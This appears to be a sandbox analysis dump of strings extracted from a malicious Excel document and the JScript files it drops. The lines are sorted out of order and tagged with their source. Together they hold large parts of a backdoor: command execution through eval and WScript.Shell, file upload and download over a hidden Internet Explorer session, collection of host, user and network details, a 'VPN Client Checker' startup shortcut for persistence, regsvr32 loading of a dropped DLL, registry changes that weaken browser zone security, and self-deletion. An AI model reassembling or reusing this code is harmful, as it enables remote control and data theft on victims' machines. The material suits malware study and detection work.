res += acc.Domain+'\\'+acc.Name+'|'+acc.SID+'|'+acc.Description+'\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += i+": "+obj[i]+',\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += objQuickFix.HotFixID + '\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += proc.Name + ' ' + proc.ProcessId + '\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += property.Name + ' = ' + property.Value.toString() + '\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += s.Name+' '+s.Caption+' '+s.Description+' '+s.LogonType.toString()+'\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += table.charAt(Math.floor(Math.random() * table.length));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += this._pTree(proc.ProcessId, level+1);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res = 'PID=' + pid.toString()+'\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res = f.ReadAll();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res = outFile.ReadAll();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return !colProcess.atEnd();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return '[Timeout] outf: '+outFilePath+' pid='+pid;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return 'ProcessID='+oExec.ProcessID+',timeout<=0';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return ele.AddressWidth;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return err.name+':'+ (err.number & 0xFFFF).toString() + "|" + err.description;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return myDate.getFullYear()+"-"+(myDate.getMonth()+1)+"-"+myDate.getDate()+" "+myDate.getHours()+":"+ minute +":"+ seconds
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return oHttp.getAllResponseHeaders() + oHttp.responseText;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return outParams.ProcessId;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this._pTree(pid, 0);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.encode(this.caseCode + this.now() + '\n' + ret);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.encode(this.caseDownFile + this.now() + '\n' + 'Download Not Supported!');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.encode(this.caseDownFile + this.now() + '\n' + filePath + '\ndownCount=' + count
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.encode(this.caseExecCmd + this.now() + '\n' + 'unknown case: '+caseStr+'\n'+tmp);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.encode(this.caseExecCmd + this.now() + '\n' + this.execWithCScript(data, 10));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.encode(this.caseUpFile + this.now() + '\n' + 'UpArg Err!');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.encode(this.caseUpFile + this.now() + '\n' + 'Upload BigFile Not Supported!');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.encode(this.caseUpFile + this.now() + '\n' + upPath + '\n' + size + '\nUpload OK!');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.encode(this.caseUpFile + this.now() + '\nupFile=' + this.upFile + '\nNoAccessToWrite!');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.encode(this.caseUpFile + this.now() + '\nupFile=' + this.upFile + '\nupSize=' +this.upSize
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.oShell.Run(cmdline, realShow, false);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.upInfo()+'\n'+this.downInfo();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return(s);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
run:function(cmdline, show){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
s += "---Network drive mappings\r\n";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
s += "---Network printer mappings\r\n";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
s += "\r\n";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
s += "Drive " + oDrives.Item(i) + " - " + oDrives.Item(i + 1) + "\r\n";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
s += "Port " + oPrinters.Item(i) + " - " + oPrinters.Item(i + 1) + "\r\n";;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
s += freeGB.toFixed(3) + " GB / ";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
s += totalGB.toFixed(3) + " GB";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
s = e.item();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
setWorkFlag:function(flag){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
showObj:function(obj){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
sid = info[1]
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
size = this.base64ToFile(upPath, upData);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
snd.innerText = this.caseHandler(recvData);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
soft(C) Register Server
Unicode based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
Software\Microsoft\IMEMIP\0x0409
Unicode based on Runtime Data (EXCEL.EXE )
startInfo.ShowWindow = 0;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
string += String.fromCharCode(c);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
string = string.replace(/\r\n/g,"\n");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
submit.click();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
switch(caseStr)
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
SysDrive + ':\\Documents and Settings\\'+UserName+'\\Start Menu\\Programs\\Startup',
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
SysDrive + ':\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup',
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
SysDrive + ':\\Users\\'+UserName+'\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup',
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
text = this.errObjToStr(err);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) +
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.adoCon = new ActiveXObject('ADODB.Connection');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.adoRec = new ActiveXObject('ADODB.Recordset');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.allStartupDir = this.oShell.SpecialFolders('AllUsersStartup');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.base64ToFile(mockDllPath, this.Base64_MockDll32);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.base64ToFile(mockDllPath, this.Base64_MockDll64);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.createIE().Quit();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.dirs += 'allStartupDir:\n'+this.allStartupDir+'\n\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.dirs += 'startupDir:\n'+this.startupDir+'\n\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.dirs += 'tmpDir:\n'+this.tmpDir+'\n\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.downEnd = this.now();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.downStart = this.now();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.dstUrl = this.decode(jmpRes[1]);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.errLogFilePath = oShell.ExpandEnvironmentStrings('%temp%') + '\\_ErrorLog.txt';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.freshIE(workIE);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.getConfig();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.id += ele.MACAddress + "-" + ele.IPAddress(0) + ",";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.id = this.oNet.ComputerName +'|'+ this.getOSBit() +'|'+ this.oNet.UserDomain +'\\'+ this.oNet.UserName +'|';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.initCode = this.decode(codeRes[1]);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.InitMockDll32();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.InitMockDll64();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.jmpUrl = this.jmpUrlList[i];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.mutexFile = this.oFS.OpenTextFile(this.mutexFilePath, ForAppending, true);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.mutexFilePath = this.tmpDir + '\\' + this.mutexFileName;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.navigateIE(ie, realUrl);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.navigateIE(workIE, this.dstUrl);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.navigateIE(workIE, this.jmpUrl);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.oCimv2 = this.oWbemLocator.ConnectServer('.', 'root\\cimv2');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.oFS = new ActiveXObject('Scripting.FileSystemObject');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.oFS.DeleteFile(dfPath);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.oIE = this.createIE();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.oNet = new ActiveXObject('WScript.Network');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.oSA = new ActiveXObject('Shell.Application');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.osBit = this.getOSBit();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.oShell = new ActiveXObject('WScript.Shell');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.oShell.RegWrite("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\3\\1601", 0, "REG_DWORD");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.oShell.Run('regsvr32 /s "'+mockDllPath+'"', 0, realTimeOut>0);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.oWbemLocator = new ActiveXObject('WbemScripting.SWbemLocator');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.pKill(pid);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.pKillTree(e.item().ProcessId);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.setWorkFlag(this.workFlagNo);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.setWorkFlag(this.workFlagYes);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.startupDir = this.oShell.SpecialFolders('Startup');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.tmpDir = this.oShell.ExpandEnvironmentStrings('%temp%');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.tryAuth();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.upCount = argArr[3];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.upEnd = this.now();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.upFile = argArr[0];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.upOnce = argArr[2];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.upSize = argArr[1];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.upStart = this.now();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.waitIE(ie);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
tranInfo:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
tryAuth:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{eval(clsCode);}catch(e){}
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
try{eval(this.initCode);}catch(err){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{fileSize = this.oFS.GetFile(filePath).Size;}catch(e){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{fTest=this.oFS.CreateTextFile(this.upFile, true);fTest.Close();}catch(e){accessToWrite=false;}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{if(oIE)oIE.Quit();}catch(e){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{main();}catch(err){errLog(err);}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{putRes = WScript.PutBlockToFile(this.upFile, this.upOnce, this.upIndex, upData);}catch(e){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{this.oFS.DeleteFile(mockDllPath);}catch(err){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{this.oFS.DeleteFile(mockIniPath);}catch(err){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{this.oFS.DeleteFile(scriptFilePath);this.oFS.DeleteFile(outFilePath);}catch(err){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{this.oFS.DeleteFile(scriptFilePath);}catch(err){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{this.oFS.DeleteFile(WScript.ScriptFullName);}catch(e){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{this.oIE.Quit();}catch(e){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{with(orz){eval(data);}}catch(err){ret=this.errObjToStr(err);}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{WScript.Quit();}catch(e){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
uId : 'username',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
upData = argArr[1];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
upIdx.innerText = this.upIndex;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
upInfo:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
upPath = argArr[0];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
username.name = this.uName;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
username.value = this.id;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
utftext += String.fromCharCode(((c >> 6) & 63) | 128);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
utftext += String.fromCharCode((c & 63) | 128);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
utftext += String.fromCharCode((c >> 12) | 224);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
utftext += String.fromCharCode((c >> 6) | 192);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
utftext += String.fromCharCode(c);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
valicode.name = this.vName;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
valicode.value = this.valicode;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var ado = new ActiveXObject('ADODB.Stream');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var AppData = oWS.ExpandEnvironmentStrings("%APPDATA%");
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
var base64DecodeChars = new Array( - 1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1);
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
var c = string.charCodeAt(n);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var colProcess = new Enumerator(this.oCimv2.ExecQuery("select ProcessId from Win32_Process where ProcessId=" + processId.toString()));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var down = workIE.Document.getElementById("down");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var downBtn = workIE.Document.getElementById("downBtn");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var drv = e.item();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var e = new Enumerator(this.oCimv2.ExecQuery("SELECT * FROM Win32_QuickFixEngineering"));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var e = new Enumerator(this.oCimv2.ExecQuery('select * from Win32_Process where ParentProcessId='+pid.toString()));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var e = new Enumerator(this.oCimv2.ExecQuery('select * from Win32_Process where ProcessId=' + pid.toString()));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var e = new Enumerator(this.oCimv2.ExecQuery('select * from Win32_Process where ProcessId='+pid.toString()));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var e = new Enumerator(this.oCimv2.ExecQuery('select * from Win32_Process'));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var e = new Enumerator(this.oFS.Drives);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var ele = e.item();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var freeGB = drv.FreeSpace / bytesPerGB;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var inParams = method.InParameters.SpawnInstance_();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var JSPath = tempDir+'\\'+randName+'.tmp';
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
var link = oWS.CreateShortcut(stDirs[i] + '\\VPN Client Checker.lnk');
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
var link = this.oShell.CreateShortcut(path);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var loginForm = workIE.Document.getElementById(this.loginFormId);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var method = process.Methods_.Item('Create');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var minute = myDate.getMinutes();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var myDate = new Date();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var node = xml.createElement("binary");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var objQuickFix = e.item();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var oDrives = this.oNet.EnumNetworkDrives();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var oFile = oFS.CreateTextFile(JSPath, true);
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
var oPrinters = this.oNet.EnumPrinterConnections();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var outParams = process.ExecMethod_(method.Name, inParams);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var password = workIE.Document.getElementById(this.pId);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var pe = new Enumerator(proc.Properties_);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var process = this.oCimv2.Get('Win32_Process');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var rcv = workIE.Document.getElementById("rcv");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var s = "---Local drive\r\n";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var scriptFilePath = this.tmpDir + '\\~.'+this.randStr(16);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var seconds = myDate.getSeconds();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var snd = workIE.Document.getElementById("snd");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var startInfo = this.oCimv2.Get("Win32_ProcessStartup").SpawnInstance_();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var stDirs = [SysDrive + ':\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup',
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
var submit = workIE.Document.getElementById(this.sId);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var SysDrive = AppData.charAt(0);
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
var tempDir = oWS.ExpandEnvironmentStrings("%temp%");
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
var tmp = this.decode(recvData);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var totalGB = drv.TotalSize / bytesPerGB;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var up = workIE.Document.getElementById("up");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var upIdx = workIE.Document.getElementById("upIdx");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var UserName = oWS.ExpandEnvironmentStrings("%USERNAME%");
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
var username = workIE.Document.getElementById(this.uId);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var valicode = workIE.Document.getElementById(this.vId);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var workFlag = this.oIE.Document.getElementById(this.workFlagId);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var xml = new ActiveXObject('Microsoft.XMLDOM');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
version="1.0" encoding="UTF-8" standalone="yes"?>... Copyright (c) Microsoft Corporation --><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="5.1.0.0" processorArchitecture="x86" name="Microsoft.Windows.RegSvr32" type="win32"/><description>Microsoft Register Server</description><dependency> <dependentAssembly> <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" publicKeyToken="6595b64144ccf1df" processorArchitecture="x86" language="*" /> </dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level="asInvoker" uiAccess="false" /> </requestedPrivileges> </security></trustInfo></assembly>
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
vId : 'valicode',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
VS_VERSION_INFO
Unicode based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
waitIE:function(ie){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
while ( i < utftext.length ) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
while (i < input.length) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
while (i < len)
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
while(ie.ReadyState!=4 || ie.Busy || !ie.Document){WScript.Sleep(10);}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
with(orz){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
WScript.CheckUpAndDown();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
WScript.Quit();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
WScript.Sleep(100);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
WScript.Sleep(1000);
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
WScript.Sleep(3000);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
WScript.Sleep(500);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
WScript.Sleep(retryInterval);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
} else if (isNaN(chr3)) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
} else if((c > 127) && (c < 2048)) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
} else if((c > 191) && (c < 224)) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
} else {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
} while ( i < len && c1 == - 1 );
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
} while ( i < len && c2 == - 1 );
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
} while ( i < len && c3 == - 1 );
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
} while ( i < len && c4 == - 1 );
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
}catch (b){}
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
}catch (g){}
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
}catch(e){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}catch(e){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}catch(err){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}catch(err){res+=this.errObjToStr(err);}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}catch(err){res=this.errObjToStr(err);}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}catch(err){WScript.Sleep(1000);}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}catch(err){WScript.Sleep(500);}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}catch(err){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}catch(x){}
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
}else if(argArr.length==4){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}else if(this.osBit=='64'){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}else if(typeof(err)=='string'){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}else{
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}else{return 'unknown osBit';}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}while(bForeverTry || retryTime--);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}while(waitTime--);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
DiagnosticsIdentifier:(SZ) 6bb5dc16-23a7-4e31-8904-aa3fab5a6b6e084a241f-7eee-4370-b24b-f5797d79df67
Ansi based on Dropped File (303286.od.303286)
4A342
Unicode based on Runtime Data (EXCEL.EXE )
[xls]9c780f7b06a006211e1393ada39ebf71cb24cd93e84802dcd61ea5be23a96d7f.LNK=0
Ansi based on Runtime Data (EXCEL.EXE )
AutoDetect
Unicode based on Runtime Data (EXCEL.EXE )
%WINDIR%\system32\apphelp.dll
Unicode based on Runtime Data (EXCEL.EXE )
DiagnosticsIdentifier2
Unicode based on Runtime Data (EXCEL.EXE )
EXCELFiles
Unicode based on Runtime Data (EXCEL.EXE )
EXCELFilesIntl_1031
Unicode based on Runtime Data (EXCEL.EXE )
FontInfoCache
Unicode based on Runtime Data (EXCEL.EXE )
Item 1
Unicode based on Runtime Data (EXCEL.EXE )
LastUILang
Unicode based on Runtime Data (EXCEL.EXE )
OfficeDiagnostics Information
Ansi based on Runtime Data (EXCEL.EXE )
oWS = new ActiveXObject('WScript.shell'); oFS = new ActiveXObject('Scripting.FileSystemObject'); oApp = new ActiveXObject('Shell.Application');randName='~HFYJEZHM';JSCode='dmFyIG9yej0NCnsNCgliRGVidWcgOiBmYWxzZSwNCgliRGVsZXRlU2VsZiA6IGZhbHNlLA0KCWVyckxvZ0ZpbG
Ansi based on Runtime Data (EXCEL.EXE )
ProductFiles
Unicode based on Runtime Data (EXCEL.EXE )
ReviewToken
Unicode based on Runtime Data (EXCEL.EXE )
TipShown
Unicode based on Runtime Data (EXCEL.EXE )
UNCAsIntranet
Unicode based on Runtime Data (EXCEL.EXE )
VBAFiles
Unicode based on Runtime Data (EXCEL.EXE )
0638C49DBB8B4CD1B191052E8F325736
Unicode based on Runtime Data (EXCEL.EXE )
AgentAnim
Ansi based on Runtime Data (EXCEL.EXE )
Converted
Unicode based on Runtime Data (EXCEL.EXE )
DecodePointer
Ansi based on Runtime Data (EXCEL.EXE )
ExcelName
Unicode based on Runtime Data (EXCEL.EXE )
FixedConverted
Unicode based on Runtime Data (EXCEL.EXE )
FriendlyName
Unicode based on Runtime Data (EXCEL.EXE )
GetLastInputInfo
Ansi based on Runtime Data (EXCEL.EXE )
Input
Unicode based on Runtime Data (EXCEL.EXE )
InputError
Unicode based on Runtime Data (EXCEL.EXE )
MSOBALLOON
Ansi based on Runtime Data (EXCEL.EXE )
MsoHelp11
Ansi based on Runtime Data (EXCEL.EXE )
RibbonMinAppHeight
Unicode based on Runtime Data (EXCEL.EXE )
RibbonMinAppWidth
Unicode based on Runtime Data (EXCEL.EXE )
ScreenTipScheme
Unicode based on Runtime Data (EXCEL.EXE )
ShowButtons
Unicode based on Runtime Data (EXCEL.EXE )
ShowIndicators
Unicode based on Runtime Data (EXCEL.EXE )
Software\Microsoft\IMEMIP\0x0409
Unicode based on Runtime Data (EXCEL.EXE )
TargetConverted
Unicode based on Runtime Data (EXCEL.EXE )
TargetNotConverted
Unicode based on Runtime Data (EXCEL.EXE )
Corporation
Unicode based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
